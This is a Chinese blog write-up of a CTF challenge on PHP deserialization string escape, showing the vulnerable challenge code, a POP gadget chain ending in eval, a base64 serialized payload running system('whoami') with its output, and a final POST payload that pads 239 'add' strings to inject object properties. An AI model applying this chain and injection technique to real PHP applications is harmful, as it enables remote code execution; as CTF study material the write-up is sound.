记一次简单的PHP反序列化字符串溢出

今天朋友给的一道题,让我看看,来源不知,随手记一下

<?php
// where is flag
error_reporting(0);
class NFCTF{                                     
    public $ming,$id,$payload,$nothing;
    function __construct($iii){
        $this->ming=$iii;
    }
    function __wakeup(){                        
    if($this->id==="NFCTF"){   
            $tmp = base64_decode($this->payload);        
            $this->nothing=unserialize($tmp);
        }
        else{
            die("you nonono!!!");
        }
    }
}
class xiaohuolong{
    public $x;                        

    function heeko(){
        echo "heeko";
    }

    function __toString(){
        $this->x->nice();              
    }
}
class kabishou{
    public $m;
    public $y;
    public $h;
    function __wakeup(){        
        $this->setm();
    }

    function setm(){
        $this->_m = ""; 
    }

    function __destruct(){          
        $this->y=$this->h;          
        die($this->m);              
    }
}
class jienigui{
    public $pay;                    
    function nice(){
        eval($this->pay);           
    }
}
$cmd=$_POST["cmd"];
if(isset($cmd))
{
    $newdata=serialize(new NFCTF($cmd));                             
    $redata=str_replace("add","addd",$newdata);            
    unserialize($redata);                                     
}else{
    highlight_file(__FILE__);
}

首先是触发到eval($this->pay);的链子,很简单

jienigui::nice() <- xiaohuolong::__toString() <- kabishou::__destruct() 
<?php 
class xiaohuolong{
    public $x;                        

    function heeko(){
        echo "heeko";
    }

    function __toString(){
        $this->x->nice();              
    }
}
class kabishou{
    public $m;
    public $y;
    public $h;
    function __wakeup(){        
        $this->setm();
    }

    function setm(){
        $this->_m = ""; 
    }

    function __destruct(){          
        $this->y=$this->h;          
        die($this->m);              
    }
}
class jienigui{
    public $pay;                    
    function nice(){
        eval($this->pay);           
    }
}

$jienigui = new jienigui();
$jienigui -> pay = "system('whoami');";
$xiaohuolong = new xiaohuolong();
$xiaohuolong -> x = $jienigui;
$kabishou = new kabishou();
$kabishou -> m = $xiaohuolong;
echo base64_encode(serialize($kabishou))."\n";
PS C:\Users\Administrator\Downloads> php .\test.php
Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9
mochu7\administrator
PS C:\Users\Administrator\Downloads>

然后就是将Base64编码后的这条链的序列化字符串,赋值给$this->payload,使其在NFCTF::__wakeup()触发反序列化,然后NFCTF这个类,传参可控的是属性是$this->ming,替换规则是每出现一个add就替换为addd,长度变化为+1

把Base64的payload放进去,$this->id设置好,参考序列化的之后的字符串更直观

<?php 
class NFCTF{                                     
    public $ming,$id,$payload,$nothing;
    function __construct($iii){
        $this->ming=$iii;
    }
    function __wakeup(){                        
    if($this->id==="NFCTF"){
            $tmp = base64_decode($this->payload);        
            $this->nothing=unserialize($tmp);
        }
        else{
            die("you nonono!!!");
        }
    }
}
class xiaohuolong{
    public $x;                        

    function heeko(){
        echo "heeko";
    }

    function __toString(){
        $this->x->nice();              
    }
}
class kabishou{
    public $m;
    public $y;
    public $h;
    function __wakeup(){        
        $this->setm();
    }

    function setm(){
        $this->_m = ""; 
    }

    function __destruct(){          
        $this->y=$this->h;          
        die($this->m);              
    }
}
class jienigui{
    public $pay;                    
    function nice(){
        eval($this->pay);           
    }
}
$NFCTF = new NFCTF('mochu7');
$NFCTF -> id = "NFCTF";
$NFCTF -> payload = "Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";
echo serialize($NFCTF);
// O:5:"NFCTF":4:{s:4:"ming";s:6:"mochu7";s:2:"id";s:5:"NFCTF";s:7:"payload";s:176:"Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";s:7:"nothing";N;}

我们要控制注入进去的对象属性是$this->id$this->payload,也就是后面选中的这长度为239的字符串,包含开头的";,因为需要闭合$this->ming的内容格式才能被正确反序列化的。

在这里插入图片描述

明确了需要注入的payload长度为239,就可以设置替换字符为'add'*239,经过str_replace("add","addd",$newdata);就是'addd'*239,长度变化为+239,正好可以将后面这串 payload 挤出$this->ming的内容范围。如下图所示:

在这里插入图片描述

所示执行system("whoami")的命令的payload最终payload如下

cmd=addaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddadd";s:2:"id";s:5:"NFCTF";s:7:"payload";s:176:"Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";s:7:"nothing";N;}

即你需要注入的payload长度为多少,就构造能溢出多少长度的替换字符串。

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值